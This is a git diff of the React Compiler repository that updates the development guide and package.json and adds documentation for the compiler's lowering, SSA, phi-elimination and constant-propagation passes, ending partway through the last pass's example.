diff --git a/compiler/docs/DEVELOPMENT_GUIDE.md b/compiler/docs/DEVELOPMENT_GUIDE.md
index 4747b87ed258..a38d8436e68e 100644
--- a/compiler/docs/DEVELOPMENT_GUIDE.md
+++ b/compiler/docs/DEVELOPMENT_GUIDE.md
@@ -1,6 +1,6 @@
 # React Compiler Development Guide
 
-Note: for general notes about contributing, see the [CONTRIBUTING.md](../CONTRIBUTING.md).
+Note: for general notes about contributing, see the [CONTRIBUTING.md](../../CONTRIBUTING.md).
 
 ## Compiler Development
 
@@ -17,92 +17,34 @@ yarn snap:build
 yarn snap --watch
 ```
 
-`snap` is our custom test runner, which creates "golden" test files that have the expected output for each input fixture, as well as the results of executing a specific input (or sequence of inputs) in both the uncompiled and compiler versions of the input. 
+`snap` is our custom test runner, which creates "golden" test files that have the expected output for each input fixture, as well as the results of executing a specific input (or sequence of inputs) in both the uncompiled and compiler versions of the input.
 
-When contributing changes, we prefer to:
-* Add one or more fixtures that demonstrate the current compiled output for a particular combination of input and configuration. Send this as a first PR.
-* Then, make changes to the compiler that achieve the desired output for those examples. Commit both the output changes and the corresponding compiler changes in a second PR.
-
-## (WIP) Rust Development
-
-We have a work-in-progress Rust port of React Compiler. The code here is unused, and was developed to help understand the feasibility and path to porting to Rust and integrating with various Rust or non-JS build systems, such as SWC, OXC, ESBuild, etc. We are currently in the process of changing the data representation used in parts of the compiler to both improve compilation, which will also have the side benefit of making it even easier to port to Rust. We will re-evaluate where to go with the Rust port once that refactoring is complete.
-
-### First-Time Setup
-
-1. Install Rust using `rustup`. See the guide at https://www.rust-lang.org/tools/install.
-2. Install Visual Studio Code from https://code.visualstudio.com/.
-   Note to Meta employees: install the stock version from that website, not the pre-installed version.
-3. Install the Rust Analyzer VSCode extension through the VSCode marketplace. See instructions at https://rust-analyzer.github.io/manual.html#vs-code.
-4. Install `cargo edit` which extends cargo with commands to manage dependencies. See https://github.com/killercup/cargo-edit#installation
-5. Install `cargo insta` which extens cargo with a command to manage snapshots. See https://insta.rs/docs/cli/
-
-### Workspace Hygiene
-
-#### Adding Dependencies
-
-To add a dependency, add it to the top-level `Cargo.toml`
-
-```
-// Cargo.toml
-[workspace.dependencies]
-...
-new_dep = { version = "x.y.z" }
-...
-```
-
-Then reference it from your crate as follows:
-
-```
-// crates/react_foo/Cargo.toml
-[dependencies]
-...
-new_dep = { workspace = true }
-...
-```
+### Compiling Arbitrary Files
 
-#### Adding new crates
+You can compile any file (not just fixtures) using:
 
-Rust's compilation strategy is largely based on parallelizing at the granularity of crates, so builds can be faster when projects
-have more but smaller crates. Where possible it helps to structure crates to minimize dependencies. For example, our various compiler
-passes depend on each other in the sense that they often must run in a certain order. However, they often don't need to call each other,
-so they can generally be split into crates of similar types of passes, so that those crates can compile in parallel.
-
-As a rule of thumb, add crates at roughly the granularity of our existing top-level folds. If you have some one-off utility code that
-doesn't fit neatly in a crate, add it to `react_utils` rather than add a one-off crate for it.
-
-### Running Tests
-
-Run all tests with the following from the root directory:
-
-```
-cargo test
-```
-
-The majority of our tests will (should) live in the `react_fixtures` crate, which is a test-only crate that runs compilation end-to-end with snapshot
-tests. To run just these tests use:
-
-```
-# quiet version
-cargo test -p react_fixtures
+```sh
+# Compile a file and see the output
+yarn snap compile <path>
 
-# without suppressing stdout/stderr output
-cargo test -p react_fixtures -- --nocapture
+# Compile with debug output to see the state after each compiler pass
+# This is an alternative to `yarn snap -d -p <pattern>` when you don't have a fixture file yet
+yarn snap compile --debug <path>
 ```
 
-Another hint is that VSCode will show a "Run test" option if you hover over a test in the source code, this lets you run a single test easily.
-The command line will also give you the CLI command to run just that one test.
+### Minimizing Test Cases
 
-### Updating Snapshots
+To reduce a failing test case to its minimal reproduction:
 
-The above tests make frequent use of snapshot tests. If snapshots do not match the tests will fail with a diff, if the new output is correct you
-can accept the changes with:
+```sh
+# Minimize a file that causes a compiler error
+yarn snap minimize <path>
 
-```
-cargo insta accept
+# Minimize and update the file in-place
+yarn snap minimize --update <path>
 ```
 
-If this command fails, see the note in "first-time setup" about installing `cargo insta`.
-
-### CI Configuration
+When contributing changes, we prefer to:
+* Add one or more fixtures that demonstrate the current compiled output for a particular combination of input and configuration. Send this as a first PR.
+* Then, make changes to the compiler that achieve the desired output for those examples. Commit both the output changes and the corresponding compiler changes in a second PR.
 
-GitHub CI is configured in `.github/workflows/rust.yml`.
\ No newline at end of file
diff --git a/compiler/.gitmodules b/compiler/fixtures/.gitkeep
similarity index 100%
rename from compiler/.gitmodules
rename to compiler/fixtures/.gitkeep
diff --git a/compiler/package.json b/compiler/package.json
index 9037808df987..4492b7021080 100644
--- a/compiler/package.json
+++ b/compiler/package.json
@@ -2,17 +2,12 @@
   "private": true,
   "workspaces": {
     "packages": [
-      "packages/*",
-      "apps/*"
-    ],
-    "nohoist": [
-      "**/next",
-      "**/next/**"
+      "packages/*"
     ]
   },
   "repository": {
     "type": "git",
-    "url": "git+https://github.com/facebook/react-forget.git"
+    "url": "git+https://github.com/facebook/react.git"
   },
   "scripts": {
     "copyright": "node scripts/copyright.js",
@@ -20,37 +15,38 @@
     "start": "yarn workspace playground run start",
     "next": "yarn workspace playground run dev",
     "build": "yarn workspaces run build",
-    "dev": "concurrently --kill-others -n compiler,runtime,playground \"yarn workspace babel-plugin-react-compiler run build --watch\" \"yarn workspace react-compiler-runtime run build --watch\" \"wait-on packages/babel-plugin-react-compiler/dist/index.js && yarn workspace playground run dev\"",
+    "dev": "cd apps/playground && yarn dev",
     "test": "yarn workspaces run test",
-    "prettier:write": "prettier --write . --log-level=warn",
-    "prettier:ci": "prettier --check . --log-level=warn",
     "snap": "yarn workspace babel-plugin-react-compiler run snap",
     "snap:build": "yarn workspace snap run build",
-    "postinstall": "perl -p -i -e 's/react\\.element/react.transitional.element/' packages/snap/node_modules/fbt/lib/FbtReactUtil.js && perl -p -i -e 's/didWarnAboutUsingAct = false;/didWarnAboutUsingAct = true;/' packages/babel-plugin-react-compiler/node_modules/react-dom/cjs/react-dom-test-utils.development.js",
-    "npm:publish": "node scripts/release/publish-manual"
+    "npm:publish": "node scripts/release/publish",
+    "eslint-docs": "yarn workspace babel-plugin-react-compiler build && node scripts/build-eslint-docs.js"
+  },
+  "dependencies": {
+    "fs-extra": "^4.0.2",
+    "react-is": "0.0.0-experimental-4beb1fd8-20241118"
   },
-  "dependencies": {},
   "devDependencies": {
-    "@rollup/plugin-commonjs": "^25.0.7",
-    "@rollup/plugin-json": "^6.1.0",
-    "@rollup/plugin-node-resolve": "^15.2.3",
-    "@rollup/plugin-terser": "^0.4.4",
-    "@rollup/plugin-typescript": "^11.1.6",
+    "@babel/types": "^7.26.0",
     "@tsconfig/strictest": "^2.0.5",
     "concurrently": "^7.4.0",
+    "esbuild": "^0.25.0",
     "folder-hash": "^4.0.4",
+    "npm-dts": "^1.3.13",
+    "object-assign": "^4.1.1",
     "ora": "5.4.1",
-    "prettier": "^3.2.5",
+    "prettier": "^3.3.3",
+    "prettier-plugin-hermes-parser": "^0.26.0",
     "prompt-promise": "^1.0.3",
-    "rollup": "^4.13.2",
-    "rollup-plugin-banner2": "^1.2.3",
-    "rollup-plugin-prettier": "^4.1.1",
+    "rimraf": "^6.0.1",
+    "to-fast-properties": "^2.0.0",
+    "tsup": "^8.4.0",
     "typescript": "^5.4.3",
     "wait-on": "^7.2.0",
     "yargs": "^17.7.2"
   },
   "resolutions": {
-    "react-is": "19.0.0-beta-b498834eab-20240506"
+    "@babel/types": "7.26.3"
   },
   "packageManager": "yarn@1.22.22"
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/01-lower.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/01-lower.md
new file mode 100644
index 000000000000..b5b3d8f46e61
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/01-lower.md
@@ -0,0 +1,157 @@
+# lower (BuildHIR)
+
+## File
+`src/HIR/BuildHIR.ts`
+
+## Purpose
+Converts a Babel AST function node into a High-level Intermediate Representation (HIR), which represents code as a control-flow graph (CFG) with basic blocks, instructions, and terminals. This is the first major transformation pass in the React Compiler pipeline, enabling precise expression-level memoization analysis.
+
+## Input Invariants
+- Input must be a valid Babel `NodePath<t.Function>` (FunctionDeclaration, FunctionExpression, or ArrowFunctionExpression)
+- The function must be a component or hook (determined by the environment)
+- Babel scope analysis must be available for binding resolution
+- An `Environment` instance must be provided with compiler configuration
+- Optional `bindings` map for nested function lowering (recursive calls)
+- Optional `capturedRefs` map for context variables captured from outer scope
+
+## Output Guarantees
+- Returns `Result<HIRFunction, CompilerError>` - either a successfully lowered function or compilation errors
+- The HIR function contains:
+  - A complete CFG with basic blocks (`body.blocks: Map<BlockId, BasicBlock>`)
+  - Each block has an array of instructions and exactly one terminal
+  - All control flow is explicit (if/else, loops, switch, logical operators, ternary)
+  - Parameters are converted to `Place` or `SpreadPattern`
+  - Context captures are tracked in `context` array
+  - Function metadata (id, async, generator, directives)
+- All identifiers get unique `IdentifierId` values
+- Instructions have placeholder instruction IDs (set to 0, assigned later)
+- Effects are null (populated by later inference passes)
+
+## Algorithm
+The lowering algorithm uses a recursive descent pattern with a `HIRBuilder` helper class:
+
+1. **Initialization**: Create an `HIRBuilder` with environment and optional bindings. Process captured context variables.
+
+2. **Parameter Processing**: For each function parameter:
+   - Simple identifiers: resolve binding and create Place
+   - Patterns (object/array): create temporary Place, then emit destructuring assignments
+   - Rest elements: wrap in SpreadPattern
+   - Unsupported: emit Todo error
+
+3. **Body Processing**:
+   - Arrow function expressions: lower body expression to temporary, emit implicit return
+   - Block statements: recursively lower each statement
+
+4. **Statement Lowering** (`lowerStatement`): Handle each statement type:
+   - **Control flow**: Create separate basic blocks for branches, loops connect back to conditional blocks
+   - **Variable declarations**: Create `DeclareLocal`/`DeclareContext` or `StoreLocal`/`StoreContext` instructions
+   - **Expressions**: Lower to temporary and discard result
+   - **Hoisting**: Detect forward references and emit `DeclareContext` for hoisted identifiers
+
+5. **Expression Lowering** (`lowerExpression`): Convert expressions to `InstructionValue`:
+   - **Identifiers**: Create `LoadLocal`, `LoadContext`, or `LoadGlobal` based on binding
+   - **Literals**: Create `Primitive` values
+   - **Operators**: Create `BinaryExpression`, `UnaryExpression` etc.
+   - **Calls**: Distinguish `CallExpression` vs `MethodCall` (member expression callee)
+   - **Control flow expressions**: Create separate value blocks for branches (ternary, logical, optional chaining)
+   - **JSX**: Lower to `JsxExpression` with lowered tag, props, and children
+
+6. **Block Management**: The builder maintains:
+   - A current work-in-progress block accumulating instructions
+   - Completed blocks map
+   - Scope stack for break/continue resolution
+   - Exception handler stack for try/catch
+
+7. **Termination**: Add implicit void return at end if no explicit return
+
+## Key Data Structures
+
+### HIRBuilder (from HIRBuilder.ts)
+- `#current: WipBlock` - Work-in-progress block being populated
+- `#completed: Map<BlockId, BasicBlock>` - Finished blocks
+- `#scopes: Array<Scope>` - Stack for break/continue target resolution (LoopScope, LabelScope, SwitchScope)
+- `#exceptionHandlerStack: Array<BlockId>` - Stack of catch handlers for try/catch
+- `#bindings: Bindings` - Map of variable names to their identifiers
+- `#context: Map<t.Identifier, SourceLocation>` - Captured context variables
+- Methods: `push()`, `reserve()`, `enter()`, `terminate()`, `terminateWithContinuation()`
+
+### Core HIR Types
+- **BasicBlock**: Contains `instructions: Array<Instruction>`, `terminal: Terminal`, `preds: Set<BlockId>`, `phis: Set<Phi>`, `kind: BlockKind`
+- **Instruction**: Contains `id`, `lvalue` (Place), `value` (InstructionValue), `effects` (null initially), `loc`
+- **Terminal**: Block terminator - `if`, `branch`, `goto`, `return`, `throw`, `for`, `while`, `switch`, `ternary`, `logical`, etc.
+- **Place**: Reference to a value - `{kind: 'Identifier', identifier, effect, reactive, loc}`
+- **InstructionValue**: The operation - `LoadLocal`, `StoreLocal`, `CallExpression`, `BinaryExpression`, `FunctionExpression`, etc.
+
+### Block Kinds
+- `block` - Regular sequential block
+- `loop` - Loop header/test block
+- `value` - Block that produces a value (ternary/logical branches)
+- `sequence` - Sequence expression block
+- `catch` - Exception handler block
+
+## Edge Cases
+
+1. **Hoisting**: Forward references to `let`/`const`/`function` declarations emit `DeclareContext` before the reference, enabling correct temporal dead zone handling
+
+2. **Context Variables**: Variables captured by nested functions use `LoadContext`/`StoreContext` instead of `LoadLocal`/`StoreLocal`
+
+3. **For-of/For-in Loops**: Synthesize iterator instructions (`GetIterator`, `IteratorNext`, `NextPropertyOf`)
+
+4. **Optional Chaining**: Creates nested `OptionalTerminal` structures with short-circuit branches
+
+5. **Logical Expressions**: Create branching structures where left side stores to temporary, right side only evaluated if needed
+
+6. **Try/Catch**: Adds `MaybeThrowTerminal` after each instruction in try block, modeling potential control flow to handler
+
+7. **JSX in fbt**: Tracks `fbtDepth` counter to handle whitespace differently in fbt/fbs tags
+
+8. **Unsupported Syntax**: `var` declarations, `with` statements, inline `class` declarations, `eval` - emit appropriate errors
+
+## TODOs
+- `returnTypeAnnotation: null, // TODO: extract the actual return type node if present`
+- `TODO(gsn): In the future, we could only pass in the context identifiers that are actually used by this function and its nested functions`
+- Multiple `// TODO remove type cast` in destructuring pattern handling
+- `// TODO: should JSX namespaced names be handled here as well?`
+
+## Example
+Input JavaScript:
+```javascript
+export default function foo(x, y) {
+  if (x) {
+    return foo(false, y);
+  }
+  return [y * 10];
+}
+```
+
+Output HIR (simplified):
+```
+foo(<unknown> x$0, <unknown> y$1): <unknown> $12
+bb0 (block):
+  [1] <unknown> $6 = LoadLocal <unknown> x$0
+  [2] If (<unknown> $6) then:bb2 else:bb1 fallthrough=bb1
+
+bb2 (block):
+  predecessor blocks: bb0
+  [3] <unknown> $2 = LoadGlobal(module) foo
+  [4] <unknown> $3 = false
+  [5] <unknown> $4 = LoadLocal <unknown> y$1
+  [6] <unknown> $5 = Call <unknown> $2(<unknown> $3, <unknown> $4)
+  [7] Return Explicit <unknown> $5
+
+bb1 (block):
+  predecessor blocks: bb0
+  [8] <unknown> $7 = LoadLocal <unknown> y$1
+  [9] <unknown> $8 = 10
+  [10] <unknown> $9 = Binary <unknown> $7 * <unknown> $8
+  [11] <unknown> $10 = Array [<unknown> $9]
+  [12] Return Explicit <unknown> $10
+```
+
+Key observations:
+- The function has 3 basic blocks: entry (bb0), consequent (bb2), alternate/fallthrough (bb1)
+- The if statement creates an `IfTerminal` at the end of bb0
+- Each branch ends with its own `ReturnTerminal`
+- All values are stored in temporaries (`$N`) or named identifiers (`x$0`, `y$1`)
+- Instructions have sequential IDs within blocks
+- Types and effects are `<unknown>` at this stage (populated by later passes)
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/02-enterSSA.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/02-enterSSA.md
new file mode 100644
index 000000000000..d5e03b60d768
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/02-enterSSA.md
@@ -0,0 +1,182 @@
+# enterSSA
+
+## File
+`src/SSA/EnterSSA.ts`
+
+## Purpose
+Converts the HIR from a non-SSA form (where variables can be reassigned) into Static Single Assignment (SSA) form, where each variable is defined exactly once and phi nodes are inserted at control flow join points to merge values from different paths.
+
+## Input Invariants
+- The HIR must have blocks in reverse postorder (predecessors visited before successors, except for back-edges)
+- Block predecessor information (`block.preds`) must be populated correctly
+- The function's `context` array must be empty for the root function (outer function declarations)
+- Identifiers may be reused across multiple definitions/assignments (non-SSA form)
+
+## Output Guarantees
+- Each identifier has a unique `IdentifierId` - no identifier is defined more than once
+- All operand references use the SSA-renamed identifiers
+- Phi nodes are inserted at join points where values from different control flow paths converge
+- Function parameters are SSA-renamed
+- Nested functions (FunctionExpression, ObjectMethod) are recursively converted to SSA form
+- Context variables (captured from outer scopes) are handled specially and not redefined
+
+## Algorithm
+The pass uses the Braun et al. algorithm ("Simple and Efficient Construction of Static Single Assignment Form") with adaptations for handling loops and nested functions.
+
+### Key Steps:
+1. **Block Traversal**: Iterate through blocks in order (assumed reverse postorder from previous passes)
+2. **Definition Tracking**: Maintain a per-block `defs` map from original identifiers to their SSA-renamed versions
+3. **Renaming**:
+   - When a value is **defined** (lvalue), create a new SSA identifier with fresh `IdentifierId`
+   - When a value is **used** (operand), look up the current SSA identifier via `getIdAt`
+4. **Phi Node Insertion**: When looking up an identifier at a block with multiple predecessors:
+   - If all predecessors have been visited, create a phi node collecting values from each predecessor
+   - If some predecessors are unvisited (back-edge/loop), create an "incomplete phi" that will be fixed later
+5. **Incomplete Phi Resolution**: When all predecessors of a block are finally visited, fix any incomplete phi nodes by populating their operands
+6. **Nested Function Handling**: Recursively apply SSA transformation to nested functions, temporarily adding a fake predecessor edge to enable identifier lookup from the enclosing scope
+
+### Phi Node Placement Logic (`getIdAt`):
+- If the identifier is defined locally in the current block, return it
+- If at entry block with no predecessors and not found, mark as unknown (global)
+- If some predecessors are unvisited (loop), create incomplete phi
+- If exactly one predecessor, recursively look up in that predecessor
+- If multiple predecessors, create phi node with operands from all predecessors
+
+## Key Data Structures
+- **SSABuilder**: Main class managing the transformation
+  - `#states: Map<BasicBlock, State>` - Per-block state (defs map and incomplete phis)
+  - `unsealedPreds: Map<BasicBlock, number>` - Count of unvisited predecessors per block
+  - `#unknown: Set<Identifier>` - Identifiers assumed to be globals
+  - `#context: Set<Identifier>` - Context variables that should not be redefined
+- **State**: Per-block state containing:
+  - `defs: Map<Identifier, Identifier>` - Maps original identifiers to SSA-renamed versions
+  - `incompletePhis: Array<IncompletePhi>` - Phi nodes waiting for predecessor values
+- **IncompletePhi**: Tracks a phi node created before all predecessors were visited
+  - `oldPlace: Place` - Original place being phi'd
+  - `newPlace: Place` - SSA-renamed phi result place
+- **Phi**: The actual phi node in the HIR
+  - `place: Place` - The result of the phi
+  - `operands: Map<BlockId, Place>` - Maps predecessor block to the place providing the value
+
+## Edge Cases
+- **Loops (back-edges)**: When a variable is used in a loop header before the loop body assigns it, an incomplete phi is created and later fixed when the loop body block is visited
+- **Globals**: If an identifier is used but never defined (reaching the entry block without a definition), it's assumed to be a global and not renamed
+- **Context variables**: Variables captured from an outer function scope are tracked specially and not redefined when reassigned
+- **Nested functions**: Function expressions and object methods are processed recursively with a temporary predecessor edge linking them to the enclosing block
+
+## TODOs
+- `[hoisting] EnterSSA: Expected identifier to be defined before being used` - Handles cases where hoisting causes an identifier to be used before definition (throws a Todo error for graceful bailout)
+
+## Example
+
+### Input (simple reassignment with control flow):
+```javascript
+function foo() {
+  let y = 2;
+  if (y > 1) {
+    y = 1;
+  } else {
+    y = 2;
+  }
+  let x = y;
+}
+```
+
+### Before SSA (HIR):
+```
+bb0 (block):
+  [1] $0 = 2
+  [2] $2 = StoreLocal Let y$1 = $0
+  [3] $7 = LoadLocal y$1
+  [4] $8 = 1
+  [5] $9 = Binary $7 > $8
+  [6] If ($9) then:bb2 else:bb3 fallthrough=bb1
+
+bb2 (block):
+  predecessor blocks: bb0
+  [7] $3 = 1
+  [8] $4 = StoreLocal Reassign y$1 = $3  // Same y$1 reassigned
+  [9] Goto bb1
+
+bb3 (block):
+  predecessor blocks: bb0
+  [10] $5 = 2
+  [11] $6 = StoreLocal Reassign y$1 = $5  // Same y$1 reassigned
+  [12] Goto bb1
+
+bb1 (block):
+  predecessor blocks: bb2 bb3
+  [13] $10 = LoadLocal y$1                // Which y$1?
+  [14] $12 = StoreLocal Let x$11 = $10
+```
+
+### After SSA:
+```
+bb0 (block):
+  [1] $15 = 2
+  [2] $17 = StoreLocal Let y$16 = $15    // y$16: initial definition
+  [3] $18 = LoadLocal y$16
+  [4] $19 = 1
+  [5] $20 = Binary $18 > $19
+  [6] If ($20) then:bb2 else:bb3 fallthrough=bb1
+
+bb2 (block):
+  predecessor blocks: bb0
+  [7] $21 = 1
+  [8] $23 = StoreLocal Reassign y$22 = $21  // y$22: new SSA name
+  [9] Goto bb1
+
+bb3 (block):
+  predecessor blocks: bb0
+  [10] $24 = 2
+  [11] $26 = StoreLocal Reassign y$25 = $24  // y$25: new SSA name
+  [12] Goto bb1
+
+bb1 (block):
+  predecessor blocks: bb2 bb3
+  y$27: phi(bb2: y$22, bb3: y$25)           // PHI NODE: merges y$22 and y$25
+  [13] $28 = LoadLocal y$27                  // Uses phi result
+  [14] $30 = StoreLocal Let x$29 = $28
+```
+
+### Loop Example (while loop with back-edge):
+```javascript
+function foo() {
+  let x = 1;
+  while (x < 10) {
+    x = x + 1;
+  }
+  return x;
+}
+```
+
+### After SSA:
+```
+bb0 (block):
+  [1] $13 = 1
+  [2] $15 = StoreLocal Let x$14 = $13    // x$14: initial definition
+  [3] While test=bb1 loop=bb3 fallthrough=bb2
+
+bb1 (loop):
+  predecessor blocks: bb0 bb3
+  x$16: phi(bb0: x$14, bb3: x$23)        // PHI merges initial and loop-updated values
+  [4] $17 = LoadLocal x$16
+  [5] $18 = 10
+  [6] $19 = Binary $17 < $18
+  [7] Branch ($19) then:bb3 else:bb2
+
+bb3 (block):
+  predecessor blocks: bb1
+  [8] $20 = LoadLocal x$16               // Uses phi result
+  [9] $21 = 1
+  [10] $22 = Binary $20 + $21
+  [11] $24 = StoreLocal Reassign x$23 = $22  // x$23: new SSA name in loop body
+  [12] Goto(Continue) bb1
+
+bb2 (block):
+  predecessor blocks: bb1
+  [13] $25 = LoadLocal x$16              // Uses phi result
+  [14] Return Explicit $25
+```
+
+The phi node at `bb1` (the loop header) is initially created as an "incomplete phi" when first visited because `bb3` (the loop body) hasn't been visited yet. Once `bb3` is processed and its terminal is handled, the incomplete phi is fixed by calling `fixIncompletePhis` to populate the operand from `bb3`.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/03-eliminateRedundantPhi.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/03-eliminateRedundantPhi.md
new file mode 100644
index 000000000000..fe774253ade6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/03-eliminateRedundantPhi.md
@@ -0,0 +1,90 @@
+# eliminateRedundantPhi
+
+## File
+`src/SSA/EliminateRedundantPhi.ts`
+
+## Purpose
+Eliminates phi nodes whose operands are trivially the same, replacing all usages of the phi's output identifier with the single source identifier. This simplifies the HIR by removing unnecessary join points that do not actually merge distinct values.
+
+## Input Invariants
+- The function must be in SSA form (i.e., `enterSSA` has already run)
+- Blocks are in reverse postorder (guaranteed by the HIR structure)
+- Phi nodes exist at the start of blocks where control flow merges
+
+## Output Guarantees
+- All redundant phi nodes are removed from the HIR
+- All references to eliminated phi identifiers are rewritten to the source identifier
+- Non-redundant phi nodes (those merging two or more distinct values) are preserved
+- Nested function expressions (FunctionExpression, ObjectMethod) also have their redundant phis eliminated and contexts rewritten
+
+## Algorithm
+A phi node is considered redundant when:
+1. **All operands are the same identifier**: e.g., `x2 = phi(x1, x1, x1)` - the phi is replaced with `x1`
+2. **All operands are either the same identifier OR the phi's output**: e.g., `x2 = phi(x1, x2, x1, x2)` - this handles loop back-edges where the phi references itself
+
+The algorithm works as follows:
+1. Visit blocks in reverse postorder, building a rewrite table (`Map<Identifier, Identifier>`)
+2. For each phi node in a block:
+   - First rewrite operands using any existing rewrites (to handle cascading eliminations)
+   - Check if all operands (excluding self-references) point to the same identifier
+   - If so, add a mapping from the phi's output to that identifier and delete the phi
+3. After processing phis, rewrite all instruction lvalues, operands, and terminal operands
+4. For nested functions, recursively call `eliminateRedundantPhi` with shared rewrites
+5. If the CFG has back-edges (loops) and new rewrites were added, repeat the entire process
+
+The loop termination condition `rewrites.size > size && hasBackEdge` ensures:
+- Without loops: completes in a single pass (reverse postorder guarantees forward propagation)
+- With loops: repeats until no new rewrites are found (fixpoint)
+
+## Key Data Structures
+- **`Phi`** (from `src/HIR/HIR.ts`): Represents a phi node with:
+  - `place: Place` - the output identifier
+  - `operands: Map<BlockId, Place>` - maps predecessor block IDs to source places
+- **`rewrites: Map<Identifier, Identifier>`**: Maps eliminated phi outputs to their replacement identifier
+- **`visited: Set<BlockId>`**: Tracks visited blocks to detect back-edges (loops)
+
+## Edge Cases
+- **Loop back-edges**: When a block has a predecessor that hasn't been visited yet (in reverse postorder), that predecessor is a back-edge. The algorithm handles self-referential phis like `x2 = phi(x1, x2)` by ignoring operands equal to the phi's output.
+- **Cascading eliminations**: When one phi's output is used in another phi's operands, the algorithm rewrites operands before checking redundancy, enabling transitive elimination in a single pass (for non-loop cases).
+- **Nested functions**: FunctionExpression and ObjectMethod values contain nested HIR that may have their own phis. The algorithm recursively processes these with a shared rewrite table, ensuring context captures are also rewritten.
+- **Empty phi check**: The algorithm includes an invariant check that phi operands are never empty (which would be invalid HIR).
+
+## TODOs
+(None found in the source code)
+
+## Example
+
+Consider this fixture from `rewrite-phis-in-lambda-capture-context.js`:
+
+```javascript
+function Component() {
+  const x = 4;
+  const get4 = () => {
+    while (bar()) {
+      if (baz) { bar(); }
+    }
+    return () => x;
+  };
+  return get4;
+}
+```
+
+**After SSA pass**, the inner function has redundant phis due to the loop:
+
+```
+bb2 (loop):
+  predecessor blocks: bb1 bb5
+  x$29: phi(bb1: x$21, bb5: x$30)  // Loop header phi
+  ...
+bb5 (block):
+  predecessor blocks: bb6 bb4
+  x$30: phi(bb6: x$29, bb4: x$29)  // Redundant: both operands are x$29
+  ...
+```
+
+**After EliminateRedundantPhi**:
+- `x$30 = phi(x$29, x$29)` is eliminated because both operands are `x$29`
+- `x$29 = phi(x$21, x$30)` becomes `x$29 = phi(x$21, x$29)` after rewriting, which is also redundant (one operand is the phi itself, the other is `x$21`)
+- Both phis are eliminated, and all uses of `x$29` and `x$30` are rewritten to `x$21`
+
+The result: the context capture `@context[x$29]` becomes `@context[x$21]`, correctly propagating that `x` is never modified inside the loop.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/04-constantPropagation.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/04-constantPropagation.md
new file mode 100644
index 000000000000..36e57abe03aa
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/04-constantPropagation.md
@@ -0,0 +1,110 @@
+# constantPropagation
+
+## File
+`src/Optimization/ConstantPropagation.ts`
+
+## Purpose
+Applies Sparse Conditional Constant Propagation (SCCP) to fold compile-time evaluable expressions to constant values, propagate those constants through the program, and eliminate unreachable branches when conditionals have known constant values.
+
+## Input Invariants
+- HIR must be in SSA form (runs after `enterSSA`)
+- Redundant phi nodes should be eliminated (runs after `eliminateRedundantPhi`)
+- Consistent identifiers must be ensured (`assertConsistentIdentifiers`)
+- Terminal successors must exist (`assertTerminalSuccessorsExist`)
+
+## Output Guarantees
+- Instructions with compile-time evaluable operands are replaced with `Primitive` constants
+- `ComputedLoad`/`ComputedStore` with constant string/number properties are converted to `PropertyLoad`/`PropertyStore`
+- `LoadLocal` and `StoreLocal` propagate known constant values
+- `IfTerminal` with constant boolean test values are replaced with `goto` terminals
+- Unreachable blocks are removed and the CFG is minimized
+- Phi nodes with unreachable predecessor operands are pruned
+- Nested functions (`FunctionExpression`, `ObjectMethod`) are recursively processed
+
+## Algorithm
+The pass uses Sparse Conditional Constant Propagation (SCCP) with fixpoint iteration:
+
+1. **Data Structure**: A `Constants` map (`Map<IdentifierId, Constant>`) tracks known constant values (either `Primitive` or `LoadGlobal`)
+
+2. **Single Pass per Iteration**: Visits all blocks in order:
+   - Evaluates phi nodes - if all operands have the same constant value, the phi result is constant
+   - Evaluates instructions - replaces evaluable expressions with constants
+   - Evaluates terminals - if an `IfTerminal` test is a constant, replaces it with a `goto`
+
+3. **Fixpoint Loop**: If any terminals changed (branch elimination):
+   - Recomputes block ordering (`reversePostorderBlocks`)
+   - Removes unreachable code (`removeUnreachableForUpdates`, `removeDeadDoWhileStatements`, `removeUnnecessaryTryCatch`)
+   - Renumbers instructions (`markInstructionIds`)
+   - Updates predecessors (`markPredecessors`)
+   - Prunes phi operands from unreachable predecessors
+   - Eliminates newly-redundant phis (`eliminateRedundantPhi`)
+   - Merges consecutive blocks (`mergeConsecutiveBlocks`)
+   - Repeats until no more changes
+
+4. **Instruction Evaluation**: Handles various instruction types:
+   - **Primitives/LoadGlobal**: Directly constant
+   - **BinaryExpression**: Folds arithmetic (`+`, `-`, `*`, `/`, `%`, `**`), bitwise (`|`, `&`, `^`, `<<`, `>>`, `>>>`), and comparison (`<`, `<=`, `>`, `>=`, `==`, `===`, `!=`, `!==`) operators
+   - **UnaryExpression**: Folds `!` (boolean negation) and `-` (numeric negation)
+   - **PostfixUpdate/PrefixUpdate**: Folds `++`/`--` on constant numbers
+   - **PropertyLoad**: Folds `.length` on constant strings
+   - **TemplateLiteral**: Folds template strings with constant interpolations
+   - **ComputedLoad/ComputedStore**: Converts to property access when property is constant string/number
+
+## Key Data Structures
+- `Constant = Primitive | LoadGlobal` - The lattice values (no top/bottom, absence means unknown)
+- `Constants = Map<IdentifierId, Constant>` - Maps identifier IDs to their known constant values
+- Uses HIR types: `Instruction`, `Phi`, `Place`, `Primitive`, `LoadGlobal`, `InstructionValue`
+
+## Edge Cases
+- **Last instruction of sequence blocks**: Skipped to preserve evaluation order
+- **Phi nodes with back-edges**: Single-pass analysis means loop back-edges won't have constant values propagated
+- **Template literals with Symbol**: Not folded (would throw at runtime)
+- **Template literals with objects/arrays**: Not folded (custom toString behavior)
+- **Division results**: Computed at compile time (may produce `NaN`, `Infinity`, etc.)
+- **LoadGlobal in phis**: Only propagated if all operands reference the same global name
+- **Nested functions**: Constants from outer scope are propagated into nested function expressions
+
+## TODOs
+- `// TODO: handle more cases` - The default case in `evaluateInstruction` has room for additional instruction types
+
+## Example
+
+**Input:**
+```javascript
+function Component() {
+  let a = 1;
+
+  let b;
+  if (a === 1) {
+    b = true;
+  } else {
+    b = false;
+  }
+
+  let c;
+  if (b) {
+    c = 'hello';
+  } else {
+    c = null;
+  }
+
+  return c;
+}
+```
+
